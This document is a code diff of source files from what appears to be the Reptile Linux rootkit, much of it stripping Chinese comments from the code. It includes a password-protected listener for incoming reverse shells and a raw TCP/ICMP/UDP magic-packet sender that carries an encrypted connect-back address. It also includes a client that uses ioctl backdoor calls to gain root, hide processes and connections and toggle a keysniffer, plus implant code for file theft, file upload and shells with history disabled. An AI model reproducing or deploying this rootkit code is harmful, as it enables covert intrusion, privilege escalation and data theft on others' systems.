char **tokens = malloc(bufsize * sizeof(char *));
char *token, **tokens_backup;
// 如果内存分配失败,打印错误信息并退出
if (!tokens) {
fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE);
}
// 使用strtok函数分割命令行
token = strtok(line, TOK_DELIM);
while (token != NULL) {
tokens[position] = token;
position++;
if (position >= bufsize) {
bufsize += TOK_BUFSIZE;
tokens_backup = tokens;
@ -609,128 +650,123 @@ char** parse(char* line) {
exit(EXIT_FAILURE);
}
}
token = strtok(NULL, TOK_DELIM);
}
tokens[position] = NULL;
return tokens;
}
// 命令行循环函数
void reptile_loop(int sock) {
void reptile_loop(int sock)
{
char *line;
char **args;
int status;
// 循环读取命令并执行,直到接收到退出信号
do {
line = readline("\e[01;32mreptile> \e[00m");
add_history(line);
args = parse(line);
status = execute(sock, args);
free(line);
free(args);
} while (status);
clear_history();
}
// 处理关闭连接的信号
void handle_shutdown(int signal) {
void handle_shutdown(int signal)
{
close(sockfd);
exit(signal);
}
// 监听连接的函数
void listener(int port) {
void listener(int port)
{
int new_sockfd, yes = 1;
struct sockaddr_in host_addr, client_addr;
socklen_t sin_size;
// 创建套接字
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
kill(pid, SIGQUIT);
fatal("in socket");
}
// 设置套接字选项,允许立即重用地址
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) {
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) ==
-1) {
kill(pid, SIGQUIT);
close(sockfd);
fatal("setting socket option SO_REUSEADDR");
}
// 设置信号处理函数,处理关闭连接的信号
signal(SIGTERM, handle_shutdown);
signal(SIGINT, handle_shutdown);
// 定义主机地址结构体
host_addr.sin_family = AF_INET;
host_addr.sin_port = htons(port);
host_addr.sin_addr.s_addr = INADDR_ANY;
memset(&(host_addr.sin_zero), '\0', 8);
// 绑定套接字到主机地址
if (bind(sockfd, (struct sockaddr*)&host_addr, sizeof(struct sockaddr)) == -1) {
if (bind(sockfd, (struct sockaddr *)&host_addr,
sizeof(struct sockaddr)) == -1) {
kill(pid, SIGQUIT);
close(sockfd);
fatal("binding to socket");
}
// 监听套接字
if (listen(sockfd, 5) == -1) {
kill(pid, SIGQUIT);
close(sockfd);
fatal("listening on socket");
}
else {
} else {
fprintf(stdout, "%s Listening on port %d...\n", good, port);
}
// 接受客户端连接
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
if (new_sockfd == -1) {
kill(pid, SIGQUIT);
close(sockfd);
fatal("accepting connection");
}
// 打印客户端连接信息
fprintf(stdout, "%s Connection from %s:%d\n\n", awesome,
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
// 如果没有设置密码,提示用户输入密码
// usleep(100 * 1500);
if (password == NULL) {
password = getpass("Password: ");
fprintf(stdout, "\n");
}
// 初始化客户端连接
if (pel_client_init(new_sockfd, password) != PEL_SUCCESS) {
close(new_sockfd);
fprintf(stdout, "%s wrong password!\n\n", bad);
exit(ERROR);
}
// 打印欢迎信息并进入命令行循环
banner();
reptile_loop(new_sockfd);
// 关闭套接字
shutdown(new_sockfd, SHUT_RDWR);
close(sockfd);
}
// 显示使用方法的函数
void usage(char* argv0) {
fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", argv0);
void usage(char *argv0)
{
fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n",
argv0);
exit(1);
}
// 主函数
int main(int argc, char** argv) {
int main(int argc, char **argv)
{
int opt, port = 0;
// 解析命令行参数
while ((opt = getopt(argc, argv, "p:s:")) != EOF) {
switch (opt) {
case 'p':
@ -745,28 +781,28 @@ int main(int argc, char** argv) {
}
}
// 如果没有提供端口号,则显示使用方法并退出
if (port == 0)
usage(*argv);
// 如果命令行参数不足,则显示使用方法并退出
if (argc <= 1)
usage(argv[0]);
// 打印使用密码信息
// printf("\n\e[01;36mReptile Shell\e[00m\n");
// printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n");
if (password != NULL)
fprintf(stdout, "%s Using password: %s\n", good, password);
// 创建子进程
pid = fork();
if (pid == -1)
fatal("on forking proccess");
// 父进程调用listener函数监听连接
if (pid > 0)
listener(port);
// 子进程执行后台任务(这部分代码被注释掉了)
// if (pid == 0)
// background job while we are listening
return EXIT_SUCCESS;
}

@ -21,48 +21,42 @@
#include "util.h"
// Don't worry, it is gonna cahnged next version
// 定义常量这些值用于设置IP首部和TCP首部的字段
#define KEY 0x6de56d3b // 加密密钥
#define IPID 3429 // IP标识符
#define SEQ 15123 // TCP序列号
#define WIN 9965 // TCP窗口大小
// 定义一个伪首部结构体用于计算TCP和UDP数据包的校验和
struct pseudohdr {
uint32_t saddr; // 源IP地址
uint32_t daddr; // 目的IP地址
uint8_t zero; // 填充字段总是0
uint8_t protocol; // 协议类型TCP或UDP
uint16_t length; // 长度TCP或UDP首部和数据的总长度
#define KEY 0x6de56d3b
#define IPID 3429
#define SEQ 15123
#define WIN 9965
struct pseudohdr
{
uint32_t saddr;
uint32_t daddr;
uint8_t zero;
uint8_t protocol;
uint16_t length;
};
// 计算校验和的函数用于IP和TCP/UDP首部
unsigned short csum(unsigned short* buf, int nwords) {
unsigned short csum(unsigned short *buf, int nwords)
{
unsigned long sum;
unsigned short odd;
// 将两个字节的校验和相加
for (sum = 0; nwords > 1; nwords-=2)
sum += *buf++;
// 如果有奇数个字节,将最后一个字节加入校验和
if (nwords == 1) {
odd = 0;
*((unsigned char *)&odd) = *(unsigned char *)buf;
sum += odd;
}
// 将校验和折叠成16位
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
// 返回反码
return ~sum;
}
// 发送TCP数据包的函数
int tcp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
// 变量声明
int tcp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len)
{
int socktcp, nbytes, ret = EXIT_FAILURE;
unsigned int pckt_tam, plen;
char *buffer;
@ -73,21 +67,30 @@ int tcp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, ch
struct pseudohdr psh;
char *pseudo_packet;
// 计算数据包总长度
pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;
// 分配内存
if (!(buffer = (char *)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
return ret;
}
// 初始化内存
memset(buffer, '\0', pckt_tam);
// 填充IP首部
iph = (struct iphdr *)buffer;
tcph = (struct tcphdr *)(buffer + sizeof(struct iphdr));
if ((socktcp = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
fatal("on creating TCP socket");
goto free_buffer;
}
if (setsockopt(socktcp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) {
fatal("on setsockopt");
goto close_socket;
}
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct tcphdr)), data, data_len);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
@ -97,9 +100,10 @@ int tcp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, ch
iph->tot_len = pckt_tam;
iph->saddr = inet_addr(srcip);
iph->daddr = inet_addr(dstip);
//iph->check = csum((unsigned short *)buffer, sizeof(struct iphdr) + sizeof(struct tcphdr));
iph->check = csum((unsigned short *)buffer, iph->tot_len);
// 填充TCP首部
tcph->source = htons(srcport);
tcph->dest = htons(dstport);
tcph->seq = 0x0;
@ -115,36 +119,34 @@ int tcp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, ch
tcph->urg_ptr = 0;
tcph->check = 0;
// 构建伪首部用于计算TCP校验和
psh.saddr = inet_addr(srcip);
psh.daddr = inet_addr(dstip);
psh.zero = 0;
psh.protocol = IPPROTO_TCP;
psh.length = htons(sizeof(struct tcphdr) + data_len);
// 计算TCP首部和数据的校验和
plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len;
if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc");
goto close_socket;
}
bzero(pseudo_packet, plen);
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
tcph->seq = htons(SEQ);
tcph->check = 0;
memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len);
tcph->check = csum((unsigned short *)pseudo_packet, plen);
// 设置目的地址和端口
s.sin_family = AF_INET;
s.sin_port = htons(dstport);
s.sin_addr.s_addr = inet_addr(dstip);
// 发送数据包
if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package");
// 清理资源
if (nbytes > 0) {
fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
@ -158,9 +160,8 @@ free_buffer:
return ret;
}
// 发送ICMP数据包的函数
int icmp(char* srcip, char* dstip, char* data, unsigned int data_len) {
// 变量声明
int icmp(char *srcip, char *dstip, char *data, unsigned int data_len)
{
int sockicmp, nbytes, ret = EXIT_FAILURE;
unsigned int pckt_tam;
char *buffer;
@ -169,21 +170,30 @@ int icmp(char* srcip, char* dstip, char* data, unsigned int data_len) {
struct sockaddr_in s;
socklen_t optval = 1;
// 计算数据包总长度
pckt_tam = sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len;
pckt_tam = (sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len);
// 分配内存
if (!(buffer = (char *)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
return ret;
}
// 初始化内存
memset(buffer, '\0', pckt_tam);
// 填充IP首部
iph = (struct iphdr *)buffer;
icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr));
if ((sockicmp = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
fatal("in creating raw ICMP socket");
goto free_buffer;
}
if (setsockopt(sockicmp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) {
fatal("in setsockopt");
goto close_socket;
}
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct icmphdr)), data, data_len);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
@ -195,25 +205,20 @@ int icmp(char* srcip, char* dstip, char* data, unsigned int data_len) {
iph->tot_len = pckt_tam;
iph->check = csum((unsigned short *)buffer, iph->tot_len);
// 填充ICMP首部
icmp->type = 8; // ICMP类型回显请求
icmp->code = ICMP_ECHO; // ICMP代码回显请求
icmp->checksum = 0; // 清零校验和字段
icmp->un.echo.id = htons(WIN); // ICMP标识符
icmp->un.echo.sequence = htons(SEQ); // ICMP序列号
icmp->type = 8;
icmp->code = ICMP_ECHO;
icmp->checksum = 0;
icmp->un.echo.id = htons(WIN);
icmp->un.echo.sequence = htons(SEQ);
// 计算ICMP首部和数据的校验和
icmp->checksum = csum((unsigned short *)icmp, sizeof(struct icmphdr) + data_len);
// 设置目的地址
s.sin_family = AF_INET;
s.sin_addr.s_addr = inet_addr(dstip);
// 发送数据包
if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package");
// 清理资源
if (nbytes > 0) {
fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
@ -226,105 +231,102 @@ free_buffer:
return ret;
}
// 发送UDP数据包的函数
int udp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
// 声明变量
int sockudp, nbytes, ret = EXIT_FAILURE; // 用于网络通信的socket发送的字节数返回值
unsigned int pckt_tam, plen; // 数据包长度,伪包长度
char* buffer; // 缓冲区
struct iphdr* iph; // IP头指针
struct udphdr* udph; // UDP头指针
struct sockaddr_in s; // 地址结构
socklen_t optval = 1; // 设置socket选项的值
struct pseudohdr psh; // 伪包头结构
char* pseudo_packet; // 伪包数据指针
// 计算数据包总长度
int udp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len)
{
int sockudp, nbytes, ret = EXIT_FAILURE;
unsigned int pckt_tam, plen;
char *buffer;
struct iphdr *iph;
struct udphdr *udph;
struct sockaddr_in s;
socklen_t optval = 1;
struct pseudohdr psh;
char *pseudo_packet;
pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;
// 分配内存
if (!(buffer = (char *)malloc(pckt_tam))) {
fatal("on allocating buffer memory"); // 分配失败时调用fatal函数
return ret; // 返回失败
}
// 初始化内存
memset(buffer, '\0', pckt_tam); // 将缓冲区清零
// 填充IP首部
iph = (struct iphdr*)buffer; // 将缓冲区的开始部分视为IP头
udph = (struct udphdr*)(buffer + sizeof(struct iphdr)); // IP头后是UDP头
iph->ihl = 5; // IP头长度
iph->version = 4; // IP版本
iph->tos = 0; // 服务类型
iph->id = htons(IPID); // 标识符
iph->ttl = 255; // 生命周期
iph->protocol = IPPROTO_UDP; // 协议类型
iph->tot_len = pckt_tam; // 总长度
iph->saddr = inet_addr(srcip); // 源IP地址
iph->daddr = inet_addr(dstip); // 目的IP地址
iph->check = csum((unsigned short*)buffer, iph->tot_len); // 校验和
// 填充UDP首部
udph->source = htons(srcport); // 源端口
udph->dest = htons(dstport); // 目的端口
udph->len = htons(sizeof(struct udphdr) + data_len); // UDP长度
udph->check = 0; // 校验和初始化为0
// 创建伪包头
psh.saddr = inet_addr(srcip); // 源IP地址
psh.daddr = inet_addr(dstip); // 目的IP地址
psh.zero = 0; // 填充0
psh.protocol = IPPROTO_UDP; // 协议类型
psh.length = htons(sizeof(struct udphdr) + data_len); // UDP长度
// 计算伪包长度
fatal("on allocating buffer memory");
return ret;
}
memset(buffer, '\0', pckt_tam);
iph = (struct iphdr *)buffer;
udph = (struct udphdr *)(buffer + sizeof(struct iphdr));
if ((sockudp = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) {
fatal("on creating UDP socket");
goto free_buffer;
}
if (setsockopt(sockudp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) {
fatal("on setsockopt");
goto close_socket;
}
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct udphdr)), data, data_len);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->id = htons(IPID);
iph->ttl = 255;
iph->protocol = IPPROTO_UDP;
iph->tot_len = pckt_tam;
iph->saddr = inet_addr(srcip);
iph->daddr = inet_addr(dstip);
iph->check = csum((unsigned short *)buffer, iph->tot_len);
udph->source = htons(srcport);
udph->dest = htons(dstport);
udph->len = htons(sizeof(struct udphdr) + data_len);
udph->check = 0;
psh.saddr = inet_addr(srcip);
psh.daddr = inet_addr(dstip);
psh.zero = 0;
psh.protocol = IPPROTO_UDP;
psh.length = htons(sizeof(struct udphdr) + data_len);
plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len;
// 分配伪包内存
if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc"); // 分配失败时调用fatal函数
goto close_socket; // 跳转到关闭socket的标签
fatal("on malloc");
goto close_socket;
}
// 初始化伪包内存
bzero(pseudo_packet, plen); // 清零伪包
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); // 复制伪包头
bzero(pseudo_packet, plen);
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
// 计算UDP校验和
udph->check = 0; // 校验和重置为0
memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len); // 复制UDP头和数据
udph->check = csum((unsigned short*)pseudo_packet, plen); // 计算校验和
udph->check = 0;
memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len);
udph->check = csum((unsigned short *)pseudo_packet, plen);
// 设置目的地址
s.sin_family = AF_INET; // 地址族
s.sin_port = htons(dstport); // 目的端口
s.sin_addr.s_addr = inet_addr(dstip); // 目的IP地址
//fprintf(stdout, "UDP Checksum = 0x%x\n", htons(udph->check));
s.sin_family = AF_INET;
s.sin_port = htons(dstport);
s.sin_addr.s_addr = inet_addr(dstip);
// 发送数据包
if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package"); // 发送失败时调用fatal函数
fatal("on sending package");
// 检查发送的字节数
if (nbytes > 0) {
fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); // 打印成功消息
ret = EXIT_SUCCESS; // 设置返回值为成功
fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
// 释放伪包内存
free(pseudo_packet);
close_socket:
// 关闭socket
close(sockudp);
free_buffer:
// 释放缓冲区内存
free(buffer);
return ret; // 返回结果
return ret;
}
void usage(char *argv0)
{
// 打印使用说明
fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n");
fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n");
fprintf(stderr, "\nUsage: %s [options]\n\n", argv0);
@ -335,42 +337,40 @@ void usage(char* argv0)
fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n");
fprintf(stderr, "-l\tHost to receive the reverse shell\n");
fprintf(stderr, "-p\tHost port to receive the reverse shell\n");
fprintf(stderr, "-k\tToken to trigger the port-knocking\n");
exit(1); // 退出程序
fprintf(stderr, "-k\tToken to trigger the port-knocking\n\n");
exit(1);
}
int main(int argc, char **argv)
{
// 声明变量
int opt, dstport, srcport, len, crypt_len;
char *prot, *dstip, *srcip, *connect_back_host, *connect_back_port,
*token, *data;
// 初始化端口变量
dstport = srcport = 0;
// 初始化字符串指针
prot = dstip = srcip = connect_back_host = connect_back_port = token =
NULL;
// 解析命令行参数
while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) {
switch (opt) {
case 'x':
// 设置协议
prot = optarg;
// 检查协议是否合法
if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
printf("%s wrong protocol\n", bad);
if (strcmp(prot, "icmp") == 0 ||
strcmp(prot, "ICMP") == 0) {
if (strcmp(prot, "udp") == 0 ||
strcmp(prot, "UDP") == 0) {
if (strcmp(prot, "tcp") == 0 ||
strcmp(prot, "TCP") == 0) {
printf("%s wrong "
"protocol\n",
bad);
exit(-1);
}
}
}
break;
case 't':
// 设置目标IP
if (strlen(optarg) > 15) {
printf("%s wrong IP address\n", bad);
exit(-1);
@ -378,7 +378,6 @@ int main(int argc, char** argv)
dstip = optarg;
break;
case 'l':
// 设置连接回显IP
if (strlen(optarg) > 15) {
printf("%s wrong IP address\n", bad);
exit(-1);
@ -386,7 +385,6 @@ int main(int argc, char** argv)
connect_back_host = optarg;
break;
case 'p':
// 设置连接回显端口
if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong port\n", bad);
exit(-1);
@ -394,7 +392,6 @@ int main(int argc, char** argv)
connect_back_port = optarg;
break;
case 'r':
// 设置远程端口
if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong port\n", bad);
exit(-1);
@ -402,7 +399,6 @@ int main(int argc, char** argv)
dstport = atoi(optarg);
break;
case 's':
// 设置源IP
if (strlen(optarg) > 15) {
printf("%s wrong IP address\n", bad);
exit(-1);
@ -410,7 +406,6 @@ int main(int argc, char** argv)
srcip = optarg;
break;
case 'q':
// 设置源端口
if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong port\n", bad);
exit(-1);
@ -418,7 +413,6 @@ int main(int argc, char** argv)
srcport = atoi(optarg);
break;
case 'k':
// 设置令牌
if (strlen(optarg) > 16 || strlen(optarg) < 5) {
printf("%s wrong size of token\n", bad);
exit(-1);
@ -426,52 +420,45 @@ int main(int argc, char** argv)
token = optarg;
break;
default:
// 打印使用说明
usage(argv[0]);
break;
}
}
// 检查必要的参数是否已设置
if (prot == NULL || dstip == NULL || srcip == NULL ||
connect_back_host == NULL || connect_back_port == NULL ||
token == NULL) {
usage(argv[0]);
}
// 检查端口参数
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 ||
strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) {
if (srcport == 0 || dstport == 0)
usage(argv[0]);
}
// 计算数据长度
len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3;
crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2;
data = (char *)malloc(len);
// 检查内存分配
if (!data)
fatal("malloc");
// 初始化数据
bzero(data, len);
snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port);
do_encrypt(data + strlen(token) + 1, crypt_len, KEY); // 加密数据
do_encrypt(data + strlen(token) + 1, crypt_len, KEY);
// printf("data size: %d\n", len);
// 根据协议发送数据包
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
tcp(srcip, dstip, srcport, dstport, data, len);
}
else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
} else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
icmp(srcip, dstip, data, len);
}
else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
} else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
udp(srcip, dstip, srcport, dstport, data, len);
}
// 释放内存
free(data);
return EXIT_SUCCESS; // 返回成功
return EXIT_SUCCESS;
}

@ -10,61 +10,45 @@
#include <sys/types.h>
#include <unistd.h>
// 定义默认的shell路径
#define SHELL "/bin/bash"
/**
* @brief
*/
struct control {
unsigned short cmd; // 命令类型
void *argv; // 命令参数
unsigned short cmd;
void *argv;
};
/**
* @brief
* @param argc
* @param argv
* @return int
*/
int main(int argc, char **argv)
{
int sockfd; // 套接字文件描述符
struct control args; // 控制结构体实例
struct sockaddr_in addr; // 地址结构体实例
struct hostent *host; // 主机信息结构体指针
unsigned int pid; // 进程ID
char *bash = SHELL; // shell路径
char *envp[1] = {NULL}; // 环境变量数组
char *arg[3] = {SHELL, NULL}; // 执行shell的命令参数
// 如果参数少于2个退出程序
int sockfd;
struct control args;
struct sockaddr_in addr;
struct hostent *host;
unsigned int pid;
char *bash = SHELL;
char *envp[1] = {NULL};
char *arg[3] = {SHELL, NULL};
if (argc < 2)
exit(0);
// 创建TCP套接字
sockfd = socket(AF_INET, SOCK_STREAM, 6);
if (sockfd < 0)
goto fail; // 如果创建失败跳转到fail标签
goto fail;
// 如果第一个参数是"root"
if (strcmp(argv[1], "root") == 0) {
// 如果已经是root用户提示并关闭套接字后退出
if (geteuid() == 0) {
printf("You are already root! :)\n\n");
close(sockfd);
goto out;
}
args.cmd = 3; // 设置命令为3
args.cmd = 3;
// 通过ioctl系统调用进行身份验证
if (ioctl(sockfd, AUTH, HTUA) == 0) {
ioctl(sockfd, AUTH, &args);
ioctl(sockfd, AUTH, HTUA);
}
// 如果成功获取root权限执行shell否则提示无权限
if (geteuid() == 0) {
printf("\e[01;36mYou got super powers!\e[00m\n\n");
execve(bash, arg, envp);
@ -72,101 +56,98 @@ int main(int argc, char **argv)
printf("\e[00;31mYou have no power here! :( \e[00m\n\n");
}
goto out; // 跳转到out标签
goto out;
}
// 如果第一个参数是"hide"或"show"
if (strcmp(argv[1], "hide") == 0 || strcmp(argv[1], "show") == 0) {
// 如果参数少于2个跳转到fail标签
if (argc < 2)
goto fail;
// 如果只有一个参数,隐藏或显示所有连接
if (argc == 2) {
args.cmd = 0; // 设置命令为0
args.cmd = 0;
// 通过ioctl系统调用进行身份验证
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out; // 成功后跳转到out标签
goto out;
}
}
}
} else { // 如果有两个参数隐藏或显示指定PID的连接
args.cmd = 1; // 设置命令为1
pid = (unsigned int)atoi(argv[2]); // 将第二个参数转换为PID
args.argv = &pid; // 设置命令参数为PID
} else {
args.cmd = 1;
pid = (unsigned int)atoi(argv[2]);
args.argv = &pid;
// 通过ioctl系统调用进行身份验证
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out; // 成功后跳转到out标签
goto out;
}
}
}
}
}
// 如果第一个参数是"file-tampering"
if (strcmp(argv[1], "file-tampering") == 0) {
args.cmd = 2; // 设置命令为2
args.cmd = 2;
// 通过ioctl系统调用进行身份验证
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out; // 成功后跳转到out标签
goto out;
}
}
}
}
// 如果第一个参数是"conn"
if (strcmp(argv[1], "conn") == 0) {
// 如果参数少于4个跳转到fail标签
if (argc < 4)
goto fail;
// 根据第四个参数设置命令为4hide或5show
if (strcmp(argv[4], "hide") == 0) {
args.cmd = 4; // 设置命令为4
args.cmd = 4;
} else if (strcmp(argv[4], "show") == 0) {
args.cmd = 5; // 设置命令为5
args.cmd = 5;
} else {
goto fail; // 如果第四个参数不是"hide"或"show"跳转到fail标签
goto fail;
}
// 获取主机信息
host = gethostbyname(argv[2]);
if (host == NULL)
goto fail; // 如果获取主机信息失败跳转到fail标签
goto fail;
memcpy((void *)&addr.sin_addr, (void *)host->h_addr,
host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[3]));
// 复制主机地址到地址结构体中
memcpy((void *)&addr.sin_addr, (void *)host->h_addr, host->h_length);
addr.sin_family = AF_INET; // 设置地址族为IPv4
addr.sin_port = htons(atoi(argv[3])); // 设置端口号
args.argv = &addr; // 设置命令参数为地址结构体指针
args.argv = &addr;
// 通过ioctl系统调用进行身份验证
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out; // 成功后跳转到out标签
goto out;
}
}
}
}
/*
UDPTCP使
// This part is deprecated. There is no reason to hide specific protocols
// when you want to hide some connection, in the most of cases you will
// need to hide every connection and everything about your attacker server.
if (strcmp(argv[1], "udp") == 0) {
if (argc < 4)
goto fail;
if (strcmp(argv[4], "hide") == 0) {
args.cmd = 6;
} else if (strcmp(argv[4], "show") == 0) {
@ -174,33 +155,19 @@ int main(int argc, char **argv)
} else {
goto fail;
}
host = gethostbyname(argv[2]);
if (host == NULL)
goto fail;
memcpy((void *)&addr.sin_addr, (void *)host->h_addr, host->h_length);
memcpy((void *)&addr.sin_addr, (void *)host->h_addr,
host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[3]));
args.argv = &addr;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
if (ioctl(sockfd, AUTH, HTUA) == 0) {
printf("\e[01;32mSuccess!\e[00m\n");
goto out;
}
}
}
}*/
if (strcmp(argv[1], "keysniffer") == 0) {
if (argc < 3)
goto fail;
if (strcmp(argv[2], "start") == 0) {
args.cmd = 6; // 假设6是启动keysniffer的命令
} else if (strcmp(argv[2], "stop") == 0) {
args.cmd = 7; // 假设7是停止keysniffer的命令
} else {
goto fail;
}
args.argv = &addr;
if (ioctl(sockfd, AUTH, HTUA) == 0) {
if (ioctl(sockfd, AUTH, &args) == 0) {
@ -211,9 +178,10 @@ int main(int argc, char **argv)
}
}
}
fail: // fail标签打印失败信息并关闭套接字
*/
fail:
printf("\e[01;31mFailed!\e[00m\n");
out: // out标签关闭套接字并返回0表示程序结束
close(sockfd); // 关闭套接字文件描述符
return 0; // 返回0表示程序正常结束
out:
close(sockfd);
return 0;
}

@ -23,7 +23,6 @@ char *rcfile;
#ifndef _REPTILE_
// 打印使用说明
void usage(char *argv0)
{
fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0);
@ -32,12 +31,10 @@ void usage(char *argv0)
#endif
// 获取文件
int get_file(int client)
{
int ret, len, fd;
// 接收文件名
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
@ -48,13 +45,11 @@ int get_file(int client)
message[len] = '\0';
// 打开文件
fd = open((char *)message, O_RDONLY);
if (fd < 0)
return (ERROR);
// 读取文件内容并发送
while (1) {
len = read(fd, message, BUFSIZE);
@ -71,12 +66,10 @@ int get_file(int client)
return 0;
}
// 上传文件
int put_file(int client)
{
int ret, len, fd;
// 接收文件名
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
@ -91,7 +84,6 @@ int put_file(int client)
if (fd < 0)
return (ERROR);
// 接收文件内容并写入
while (1) {
ret = pel_recv_msg(client, message, &len);
@ -107,7 +99,6 @@ int put_file(int client)
return 0;
}
// 运行 shell
int runshell(int client)
{
fd_set rd;
@ -115,7 +106,6 @@ int runshell(int client)
char *slave, *temp, *shell;
int ret, len, pid, pty, tty, n;
// 打开伪终端
if (openpty(&pty, &tty, NULL, NULL, NULL) < 0)
return (ERROR);
@ -127,7 +117,6 @@ int runshell(int client)
chdir(HOMEDIR);
putenv("HISTFILE=");
// 接收终端类型
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
@ -136,7 +125,6 @@ int runshell(int client)
message[len] = '\0';
setenv("TERM", (char *)message, 1);
// 接收窗口大小
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS || len != 4)
@ -150,7 +138,6 @@ int runshell(int client)
